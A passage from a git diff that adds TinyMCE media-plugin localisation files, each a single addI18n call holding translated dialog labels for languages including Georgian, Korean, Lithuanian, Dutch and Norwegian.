u30b3\u30fc\u30eb\u30d0\u30c3\u30af","align_top_right":"\u53f3\u4e0a",uimode:"UI\u3092\u8868\u793a\u3059\u308b\u30e2\u30fc\u30c9",rate:"\u518d\u751f\u30ec\u30fc\u30c8",playcount:"\u518d\u751f\u56de\u6570",defaultframe:"\u521d\u671f\u72b6\u614b\u306e\u30d5\u30ec\u30fc\u30e0",currentposition:"\u518d\u751f\u4f4d\u7f6e\uff08\u79d2\u5358\u4f4d\uff09",currentmarker:"\u30de\u30fc\u30ab\u30fc\u756a\u53f7",captioningid:"\u30ad\u30e3\u30d7\u30b7\u30e7\u30f3\u8868\u793a\u8981\u7d20ID",baseurl:"\u57fa\u6e96\u306eURL",balance:"\u30b9\u30c6\u30ec\u30aa\u306e\u30d0\u30e9\u30f3\u30b9",windowlessvideo:"\u30a6\u30a3\u30f3\u30c9\u30a6\u306a\u3057\u306e\u52d5\u753b",stretchtofit:"\u5408\u308f\u305b\u3066\u62e1\u5927",mute:"\u6d88\u97f3",invokeurls:"URL\u3092\u958b\u304f",fullscreen:"\u5168\u753b\u9762",enabled:"\u6709\u52b9",autostart:"\u81ea\u52d5\u518d\u751f",volume:"\u97f3\u91cf",target:"\u30bf\u30fc\u30b2\u30c3\u30c8",qtsrcchokespeed:"\u518d\u751f\u30c7\u30fc\u30bf\u30ec\u30fc\u30c8",href:"\u30ea\u30f3\u30af\u5148URL",endtime:"\u7d42\u4e86\u6642\u9593",starttime:"\u958b\u59cb\u6642\u9593",enablejavascript:"JavaScript\u3092\u6709\u52b9",correction:"\u8a02\u6b63\u306a\u3057",targetcache:"\u30bf\u30fc\u30b2\u30c3\u30c8\u3092\u30ad\u30e3\u30c3\u30b7\u30e5",playeveryframe:"\u3059\u3079\u3066\u306e\u30d5\u30ec\u30fc\u30e0\u3092\u518d\u751f",kioskmode:"Kiosk\u30e2\u30fc\u30c9",controller:"\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u306e\u8868\u793a",menu:"\u30e1\u30cb\u30e5\u30fc\u3092\u8868\u793a",loop:"\u7e70\u308a\u8fd4\u3057",play:"\u81ea\u52d5\u518d\u751f",hspace:"\u5de6\u53f3\u306e\u4f59\u767d",vspace:"\u4e0a\u4e0b\u306e\u4f59\u767d","class_name":"\u30af\u30e9\u30b9",name:"\u540d\u524d",id:"ID",type:"\u30bf\u30a4\u30d7",size:"\u5bf8\u6cd5",preview:"\u30d7\u30ec\u30d3\u30e5\u30fc","constrain_proportions":"\u7e26\u6a2a\u6bd4\u3092\u4fdd\u5b58",controls:"\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u306e\u8868\u793a",numloop:"\u7e70\u308a\u8fd4\u3057\u306e\u56de\u6570",console:"\u30b3\u30f3\u30bd\u30fc\u30eb",cache:"\u30ad\u30e3\u30c3\u30b7\u30e5",autohref:"\u81ea\u52d5\u8aad\u8fbc",liveconnect:"SWLiveConnect\u5c5e\u6027",flashvars:"Flash Vars",base:"Base",bgcolor:"\u80cc\u666f\u8272",wmode:"WMode",salign:"SAlign",align:"\u914d\u7f6e",scale:"\u4f38\u7e2e",quality:"\u54c1\u8cea",shuffle:"\u30b7\u30e3\u30c3\u30d5\u30eb",prefetch:"\u5148\u8aad\u307f",nojava:"Java\u3092\u7981\u6b62",maintainaspect:"\u7e26\u6a2a\u6bd4\u306e\u7dad\u6301",imagestatus:"\u753b\u50cf\u306e\u72b6\u614b",center:"\u4e2d\u592e\u63c3\u3048",autogotourl:"URL\u306b\u81ea\u52d5\u79fb\u52d5","shockwave_options":"Shockwave\u306e\u30aa\u30d7\u30b7\u30e7\u30f3","rmp_options":"Real media player\u306e\u30aa\u30d7\u30b7\u30e7\u30f3","wmp_options":"Windows media player\u306e\u30aa\u30d7\u30b7\u30e7\u30f3","qt_options":"Quicktime\u306e\u30aa\u30d7\u30b7\u30e7\u30f3","flash_options":"Flash\u306e\u30aa\u30d7\u30b7\u30e7\u30f3",hidden:"\u975e\u8868\u793a","align_bottom_left":"\u5de6\u4e0b","align_bottom_right":"\u53f3\u4e0b",flash:"flash",quicktime:"quicktime","embedded_audio_options":"\u57cb\u3081\u8fbc\u307fAudio\u306e\u30aa\u30d7\u30b7\u30e7\u30f3",windowsmedia:"Windows\u30e1\u30c7\u30a3\u30a2",realmedia:"realmedia",shockwave:"shockwave",audio:"\u30aa\u30fc\u30c7\u30a3\u30aa",video:"\u52d5\u753b","html5_video_options":"HTML5 Video\u306e\u30aa\u30d7\u30b7\u30e7\u30f3",altsource1:"\u4ee3\u66ff\u30bd\u30fc\u30b91",altsource2:"\u4ee3\u66ff\u30bd\u30fc\u30b92",preload:"preload\u5c5e\u6027",poster:"poster\u5c5e\u6027",source:"HTML","html5_audio_options":"Audio \u30aa\u30d7\u30b7\u30e7\u30f3","preload_none":"\u5148\u8aad\u307f\u3057\u306a\u3044","preload_metadata":"\u52d5\u753b\u306e\u30e1\u30bf\u30c7\u30fc\u30bf\u3092\u5148\u8aad\u307f","preload_auto":"\u30e6\u30fc\u30b6\u30fc\u306e\u30d6\u30e9\u30a6\u30b6\u30fc\u306b\u5f93\u3046",iframe:"iframe",embeddedaudio:"\u57cb\u3081\u8fbc\u307f\u97f3\u58f0"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/ka_dlg.js b/js/tiny_mce/plugins/media/langs/ka_dlg.js new file mode 100755 index 0000000..e847131 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.media_dlg',{list:"\u10e9\u10d0\u10db\u10dd\u10dc\u10d0\u10d7\u10d5\u10d0\u10da\u10d8",file:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",advanced:"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7",general:"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd",title:"\u10d9\u10da\u10d8\u10de\u10d8\u10e1 \u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8","align_top_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d6\u10d4\u10d3\u10d0 \u10d9\u10e3\u10d7\u10ee\u10d4","align_center":"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d8","align_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_bottom":"\u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","qt_stream_warn":"\u10dc\u10d0\u10d9\u10d0\u10d3\u10dd\u10d5\u10d0\u10dc\u10d8 rtsp \u10e0\u10d4\u10e1\u10e3\u10e0\u10e1\u10d4\u10d1\u10d8 \u10e3\u10dc\u10d3\u10d0 \u10e9\u10d0\u10d0\u10db\u10d0\u10e2\u10dd\u10d7 QT Src \u10d5\u10d4\u10da\u10e8\u10d8, \"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\" \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4.\n\u10ee\u10dd\u10da\u10dd \u10d0\u10e0\u10d0 \u10dc\u10d0\u10d9\u10d0\u10d3\u10dd\u10d5\u10d0\u10dc\u10d8 \u10d5\u10d4\u10e0\u10e1\u10d8\u10d0 - Src \u10d5\u10d4\u10da\u10e8\u10d8.",qtsrc:"QT Src",progress:"\u10de\u10e0\u10dd\u10d2\u10e0\u10d4\u10e1\u10d8",sound:"\u10ee\u10db\u10d0",swstretchvalign:"\u10d5\u10d4\u10e0\u10e2. \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 \u10d2\u10d0\u10ec\u10d4\u10da\u10d5\u10d8\u10d7",swstretchhalign:"\u10f0\u10dd\u10e0\u10d8\u10d6. \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0 \u10d2\u10d0\u10ec\u10d4\u10da\u10d5\u10d8\u10d7",swstretchstyle:"\u10d2\u10d0\u10ec\u10d4\u10da\u10d5\u10d8\u10e1 \u10e1\u10e2\u10d8\u10da\u10d8",scriptcallbacks:"\u10e1\u10e5\u10e0\u10d8\u10de\u10e2\u10d8\u10e1 \u10db\u10ee\u10d0\u10e0\u10d3\u10d0\u10ed\u10d4\u10e0\u10d0","align_top_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d6\u10d4\u10d3\u10d0 \u10d9\u10e3\u10d7\u10ee\u10d4",uimode:"\u10d8\u10dc\u10e2\u10d4\u10e0\u10e4\u10d4\u10d8\u10e1\u10d8\u10e1 \u10e0\u10d4\u10df\u10d8\u10db\u10d8",rate:"\u10e0\u10d4\u10d8\u10e2\u10d8\u10dc\u10d2\u10d8",playcount:"\u10dc\u10d0\u10ee\u10d5\u10d4\u10d1\u10d8\u10e1 \u10db\u10d7\u10d5\u10da\u10d4\u10da\u10d8",defaultframe:"\u10db\u10d7\u10d0\u10d5\u10d0\u10e0\u10d8 \u10d9\u10d0\u10d3\u10e0\u10d8",currentposition:"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8 \u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0",currentmarker:"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8 \u10db\u10d0\u10e0\u10d9\u10d4\u10e0\u10d8",captioningid:"\u10e1\u10e3\u10d1\u10e2\u10d8\u10e2\u10e0\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d0\u10ee\u10d4\u10da\u10d8",baseurl:"\u10e1\u10d0\u10d1\u10d0\u10d6\u10d8\u10e1\u10dd \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",balance:"\u10d1\u10d0\u10da\u10d0\u10dc\u10e1\u10d8",windowlessvideo:"\u10e4\u10d0\u10dc\u10ef\u10e0\u10d8\u10e1 \u10d5\u10d8\u10d3\u10d4\u10dd",stretchtofit:"\u10e4\u10d0\u10dc\u10ef\u10e0\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0\u10d6\u10d4",mute:"\u10ee\u10db\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4",invokeurls:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10eb\u10d0\u10ee\u10d4\u10d1\u10d0",fullscreen:"\u10db\u10d7\u10d4\u10da \u10d4\u10d9\u10e0\u10d0\u10dc\u10d6\u10d4",enabled:"\u10e9\u10d0\u10e0\u10d7\u10e3\u10da\u10d8\u10d0",autostart:"\u10d0\u10d5\u10e2\u10dd\u10d2\u10d0\u10e8\u10d5\u10d4\u10d1\u10d0",volume:"\u10ee\u10db\u10d0",target:"\u10db\u10d8\u10d6\u10d0\u10dc\u10d8",qtsrcchokespeed:"\u10e1\u10d8\u10ee\u10e8\u10d8\u10e0\u10d4",href:"\u10d1\u10db\u10e3\u10da\u10d8",endtime:"\u10d3\u10d0\u10e1\u10e0\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10d3\u10e0\u10dd",starttime:"\u10d3\u10d0\u10ec\u10e7\u10d4\u10d1\u10d8\u10e1 \u10d3\u10e0\u10dd",enablejavascript:"JavaScript-\u10d8\u10e1 \u10e9\u10d0\u10e0\u10d7\u10d5\u10d0",correction:"\u10d9\u10dd\u10e0\u10d4\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4",targetcache:"\u10e5\u10d4\u10e8\u10d8",playeveryframe:"\u10e7\u10d5\u10d4\u10da\u10d0 \u10d9\u10d0\u10d3\u10e0\u10d8\u10e1 \u10d0\u10e1\u10d0\u10ee\u10d5\u10d0",kioskmode:"\u10d9\u10d8\u10dd\u10e1\u10d9\u10d8\u10e1 \u10e0\u10d4\u10df\u10d8\u10db\u10d8",controller:"\u10db\u10d0\u10e0\u10d7\u10d5\u10d0",menu:"\u10db\u10d4\u10dc\u10d8\u10e3\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0",loop:"\u10d2\u10d0\u10db\u10d4\u10dd\u10e0\u10d4\u10d1\u10d0",play:"\u10d0\u10d5\u10e2\u10dd\u10d2\u10d0\u10e8\u10d5\u10d4\u10d1\u10d0",hspace:"\u10f0\u10dd\u10e0\u10d8\u10d6. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",vspace:"\u10d5\u10d4\u10e0\u10e2. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","class_name":"\u10d9\u10da\u10d0\u10e1\u10d8",name:"\u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0",id:"\u10d8\u10d3\u10d4\u10dc\u10e2\u10d8\u10e4\u10d8\u10d9\u10d0\u10e2\u10dd\u10e0\u10d8",type:"\u10e2\u10d8\u10de\u10d8",size:"\u10d6\u10dd\u10db\u10d4\u10d1\u10d8",preview:"\u10ec\u10d8\u10dc\u10d0\u10e1\u10ec\u10d0\u10e0\u10d8 \u10d3\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10d4\u10e0\u10d4\u10d1\u10d0","constrain_proportions":"\u10de\u10e0\u10dd\u10de\u10dd\u10e0\u10ea\u10d8\u10d4\u10d1\u10d8\u10e1 \u10e8\u10d4\u10dc\u10d0\u10e0\u10e9\u10e3\u10dc\u10d4\u10d1\u10d0",controls:"\u10db\u10d0\u10e0\u10d7\u10d5\u10d0",numloop:"\u10d2\u10d0\u10db\u10d4\u10dd\u10e0\u10d4\u10d1\u10d0\u10d7\u10d0 \u10e0\u10d8\u10ea\u10ee\u10d5\u10d8",console:"\u10d9\u10dd\u10dc\u10e1\u10dd\u10da\u10d8",cache:"\u10e5\u10d4\u10e8\u10d8",autohref:"\u10d0\u10d5\u10e2\u10dd \u10d1\u10db\u10e3\u10da\u10d8",liveconnect:"SWLiveConnect",flashvars:"Flas \u10d1\u10e0\u10eb\u10d0\u10dc\u10d4\u10d1\u10d4\u10d1\u10d8",base:"Base",bgcolor:"\u10e4\u10dd\u10dc\u10d8",wmode:"\u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0",salign:"\u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",align:"\u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",scale:"\u10db\u10d8\u10d3\u10d0\u10db\u10dd",quality:"\u10ee\u10d0\u10e0\u10d8\u10e1\u10ee\u10d8",shuffle:"\u0412 \u0440\u0430\u0437\u0431\u0440\u043e\u0441",prefetch:"\u10d0\u10db\u10dd\u10d9\u10e0\u10d4\u10e4\u10d0",nojava:"Java-\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4",maintainaspect:"\u10d6\u10dd\u10db\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10ee\u10e1\u10dd\u10d5\u10e0\u10d4\u10d1\u10d0",imagestatus:"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e1\u10e2\u10d0\u10e2\u10e3\u10e1\u10d8",center:"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d8",autogotourl:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d6\u10d4 \u10d0\u10d5\u10e2\u10dd \u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0","shockwave_options":"Shockwave \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","rmp_options":"Real Media \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","wmp_options":"Windows Media \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","qt_options":"Quicktime \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","flash_options":"Flash \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",hidden:"\u10d3\u10d0\u10e4\u10d0\u10e0\u10e3\u10da\u10d8","align_bottom_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10e3\u10d7\u10ee\u10d4","align_bottom_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10e3\u10d7\u10ee\u10d4","html5_video_options":"HTML5-\u10d5\u10d8\u10d3\u10d4\u10dd\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",altsource1:"\u10d0\u10da\u10e2\u10d4\u10e0\u10dc\u10d0\u10e2\u10d8\u10e3\u10da\u10d8 \u10ec\u10e7\u10d0\u10e0\u10dd 1",altsource2:"\u10d0\u10da\u10e2\u10d4\u10e0\u10dc\u10d0\u10e2\u10d8\u10e3\u10da\u10d8 \u10ec\u10e7\u10d0\u10e0\u10dd 2",preload:"\u10ec\u10d8\u10dc\u10d0\u10e1\u10ec\u10d0\u10e0\u10d8 \u10e9\u10d0\u10db\u10dd\u10e2\u10d5\u10d8\u10e0\u10d7\u10d5\u10d0",poster:"\u10de\u10dd\u10e1\u10e2\u10d4\u10e0\u10d8",source:"\u10ec\u10e7\u10d0\u10e0\u10dd","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/ko_dlg.js b/js/tiny_mce/plugins/media/langs/ko_dlg.js new file mode 100755 index 0000000..33ac614 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.media_dlg',{list:"\ubaa9\ub85d",file:"\ud30c\uc77c/URL",advanced:"\uace0\uae09",general:"\uc77c\ubc18",title:"\ubbf8\ub514\uc5b4\uc758 \uc0bd\uc785/\ud3b8\uc9d1","align_top_left":"Top left","align_center":"Center","align_left":"Left","align_bottom":"Bottom","align_right":"Right","align_top":"Top","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"Top right",uimode:"UI Mode",rate:"Rate",playcount:"Play count",defaultframe:"Default frame",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"Stretch to fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Fullscreen",enabled:"Enabled",autostart:"Auto start",volume:"Volume",target:"Target",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"End time",starttime:"Start time",enablejavascript:"JavaScript\ub97c \ud5c8\uac00",correction:"No correction",targetcache:"Target cache",playeveryframe:"Play every frame",kioskmode:"Kiosk mode",controller:"Controller",menu:"\uba54\ub274 \ud45c\uc2dc",loop:"\uc5f0\uc18d \uc7ac\uc0dd",play:"\uc790\ub3d9 \uc7ac\uc0dd",hspace:"\uc88c\uc6b0 \uc5ec\ubc31",vspace:"\uc0c1\ud558 \uc5ec\ubc31","class_name":"Class",name:"Name",id:"Id",type:"\ud0c0\uc785",size:"\ud06c\uae30",preview:"\ubbf8\ub9ac\ubcf4\uae30","constrain_proportions":"\uc885\ud6a1\ube44 \uc720\uc9c0",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Background",wmode:"WMode",salign:"SAlign",align:"Align",scale:"\uc2a4\ucf00\uc77c",quality:"\ud488\uc9c8",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"Center",autogotourl:"Auto goto URL","shockwave_options":"Shockwave options","rmp_options":"Real media player options","wmp_options":"Windows media player options","qt_options":"Quicktime options","flash_options":"Flash options",hidden:"Hidden","align_bottom_left":"Bottom left","align_bottom_right":"Bottom right","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/lt_dlg.js b/js/tiny_mce/plugins/media/langs/lt_dlg.js new file mode 100755 index 0000000..14efd23 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.media_dlg',{list:"S\u0105ra\u0161as",file:"Failas/URL",advanced:"I\u0161pl\u0117sta",general:"Bendra",title:"\u012eterpti/redaguoti integruot\u0105 daugialyp\u0119 terp\u0119","align_top_left":"Vir\u0161uje, kair\u0117je","align_center":"Centre","align_left":"Kair\u0117je","align_bottom":"Apa\u010dioje","align_right":"De\u0161in\u0117je","align_top":"Vir\u0161uje","qt_stream_warn":"Transliuojami rtsp i\u0161tekliai tur\u0117t\u0173 b\u016bti prid\u0117ti prie QT Src lauko \u201ePapildom\u0173 nustatym\u0173\u201c kortel\u0117je.\nTaip pat reikt\u0173 prid\u0117ti ir netransliuojam\u0105j\u0105 Src lauko versij\u0105.",qtsrc:"QT Src",progress:"Progresas",sound:"Garsas",swstretchvalign:"I\u0161tempti V-lygiavim\u0105",swstretchhalign:"I\u0161tempti H-lygiavim\u0105",swstretchstyle:"I\u0161tempti stili\u0173",scriptcallbacks:"Scenarijaus atgalinis atsakas","align_top_right":"Vir\u0161uje, de\u0161in\u0117je",uimode:"UI re\u017eimas",rate:"Da\u017enis",playcount:"Grojimo kartai",defaultframe:"Numatytas kadras",currentposition:"Dabartin\u0117 pozicija",currentmarker:"Dabartinis \u017eymeklis",captioningid:"Antra\u0161t\u0117s id",baseurl:"Prad\u017eios URL adresas",balance:"Balansas",windowlessvideo:"Vaizdas be lango",stretchtofit:"I\u0161tempti iki atitikimo",mute:"Nutildyti",invokeurls:"I\u0161kviesti URL adresus",fullscreen:"Viso ekrano re\u017eimas",enabled:"\u012ejungta",autostart:"Automatinis paleidimas",volume:"Garsis",target:"Paskirtis",qtsrcchokespeed:"Dusinimo greitis",href:"Adresas",endtime:"Pabaigos laikas",starttime:"Prad\u017eios laikas",enablejavascript:"\u012egalinti JavaScript",correction:"Joki\u0173 korekcij\u0173",targetcache:"Paskirties laikinoji talpykla",playeveryframe:"Paleisti kiekvien\u0105 kadr\u0105",kioskmode:"Kiosko re\u017eimas",controller:"Valdiklis",menu:"Rodyti meniu",loop:"Kartoti",play:"Automatinis paleidimas",hspace:"Horizontalus tarpas",vspace:"Vertikalus tarpas","class_name":"Klas\u0117",name:"Vardas",id:"Id",type:"Tipas",size:"I\u0161matavimai",preview:"Per\u017ei\u016bra","constrain_proportions":"Priverstin\u0117s proporcijos",controls:"Valdikliai",numloop:"Cikl\u0173 kiekis",console:"Konsol\u0117",cache:"Laikinoji talpykla",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash kintamieji",base:"Baz\u0117",bgcolor:"Fono spalva",wmode:"W-re\u017eimas",salign:"S-lygiavimas",align:"Lygiavimas",scale:"Mastelis",quality:"Kokyb\u0117",shuffle:"Atsitiktinis mai\u0161ymasis",prefetch:"I\u0161ankstinis duom. i\u0161rinkimas",nojava:"Be Java",maintainaspect:"I\u0161laikyti aspekt\u0105",imagestatus:"Paveiksl\u0117lio b\u016bsena",center:"Centre",autogotourl:"Automatinis \u0117jimas URL adresu","shockwave_options":"Shockwave nustatymai","rmp_options":"Real media player nustatymai","wmp_options":"Windows media player nustatymai","qt_options":"Quicktime nustatymai","flash_options":"Flash nustatymai",hidden:"Pasl\u0117pta","align_bottom_left":"Apa\u010dioje, kair\u0117je","align_bottom_right":"Apa\u010dioje, de\u0161in\u0117je",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Embedded Audio Options",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"HTML5 video nustatymai",altsource1:"Kitas video formatas 1",altsource2:"Kitas video formatas 2",preload:"Automati\u0161kai prad\u0117ti parsiuntim\u0105",poster:"Video paveiksl\u0117lis",source:"Kodo per\u017ei\u016bra","html5_audio_options":"Garso nustatymai","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Listi nuspresti vartotojo nar\u0161yklei",iframe:"iframe",embeddedaudio:"embeddedaydio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/nl_dlg.js b/js/tiny_mce/plugins/media/langs/nl_dlg.js new file mode 100755 index 0000000..68ae6b0 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.media_dlg',{list:"Lijst",file:"Bestand/URL",advanced:"Geavanceerd",general:"Algemeen",title:"Media invoegen/bewerken","align_top_left":"Linksboven","align_center":"Centreren","align_left":"Links","align_bottom":"Onder","align_right":"Rechts","align_top":"Boven","qt_stream_warn":"Gestreamde RTSP bronnen dienen op het tabblad geavanceerd bij Quicktime bron te worden opgegeven.\nDe niet-gestreamde versie kan dan bij het tabblad algemeen worden opgegeven.",qtsrc:"Quicktime bron",progress:"Voortgang",sound:"Geluid",swstretchvalign:"V-Schaal",swstretchhalign:"H-Schaal",swstretchstyle:"Schaal",scriptcallbacks:"Script callbacks","align_top_right":"Rechtsboven",uimode:"UI Modus",rate:"Snelheid",playcount:"Afspeelteller",defaultframe:"Standaard frame",currentposition:"Huidige positie",currentmarker:"Huidige markering",captioningid:"Ondertiteling id",baseurl:"Basis URL",balance:"Balans",windowlessvideo:"Video zonder venster",stretchtofit:"Passend maken",mute:"Dempen",invokeurls:"URLs laden",fullscreen:"Volledig scherm",enabled:"Ingeschakeld",autostart:"Automatisch afspelen",volume:"Volume",target:"Doel",qtsrcchokespeed:"Chokesnelheid",href:"Href",endtime:"Eindtijd",starttime:"Starttijd",enablejavascript:"JavaScript Inschakelen",correction:"Geen correctie",targetcache:"Doelcache",playeveryframe:"Elk frame afspelen",kioskmode:"Kioskmodus",controller:"Controller",menu:"Menu weergeven",loop:"Herhalen",play:"Automatisch afspelen",hspace:"H-Ruimte",vspace:"V-Ruimte","class_name":"Klasse",name:"Naam",id:"Id",type:"Type",size:"Afmetingen",preview:"Voorbeeld","constrain_proportions":"Verhouding bewaren",controls:"Bediening",numloop:"Aantal herhalingen",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Variabelen",base:"Basis",bgcolor:"Achtergrond",wmode:"WMode",salign:"Schaaluitlijning",align:"Uitlijning",scale:"Schaal",quality:"Kwaliteit",shuffle:"Willekeurige volgorde",prefetch:"Voorladen",nojava:"Geen Java",maintainaspect:"Verhouding bewaren",imagestatus:"Afbeeldingstatus",center:"Centreren",autogotourl:"Automatisch naar URL","shockwave_options":"Shockwave opties","rmp_options":"Real Media Player Opties","wmp_options":"Windows Media Player Opties","qt_options":"Quicktime opties","flash_options":"Flash opties",hidden:"Verborgen","align_bottom_left":"Linksonder","align_bottom_right":"Rechtsonder",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Ge\u00efntegreerd Geluid Opties",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"geluid",video:"video","html5_video_options":"HTML5 Video Opties",altsource1:"Alternatieve bron 1",altsource2:"Alternatieve bron 2",preload:"Voorladen",poster:"Poster",source:"Bron","html5_audio_options":"Audio Opties","preload_none":"Niet voorladen","preload_metadata":"Video metadata voorladen","preload_auto":"Laat browser beslissen",iframe:"iframe",embeddedaudio:"ge\u00efntegreerd geluid"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/no_dlg.js b/js/tiny_mce/plugins/media/langs/no_dlg.js new file mode 100755 index 0000000..5eb98fc --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.media_dlg',{list:"Liste",file:"Fil/URL",advanced:"Avansert",general:"Generelt",title:"Sett inn/rediger inkludert objekt","align_top_left":"Topp venstre","align_center":"Midten","align_left":"Venstre","align_bottom":"Bunn","align_right":"H\u00f8yre","align_top":"Topp","qt_stream_warn":"Streamede rtsp ressurser b\u00f8r legges til QT Src-feltet under fanen avansert.\nDu b\u00f8r ogs\u00e5 legge til en ikke-streamet versjon i src-feltet.",qtsrc:"QT Src",progress:"Fremdrift",sound:"Lyd",swstretchvalign:"Strekk V-justering",swstretchhalign:"Strekk H-justering",swstretchstyle:"Strekk stil",scriptcallbacks:"Skript referanser","align_top_right":"Topp h\u00f8yre",uimode:"UI-modus",rate:"Rate",playcount:"Teller",defaultframe:"Standard 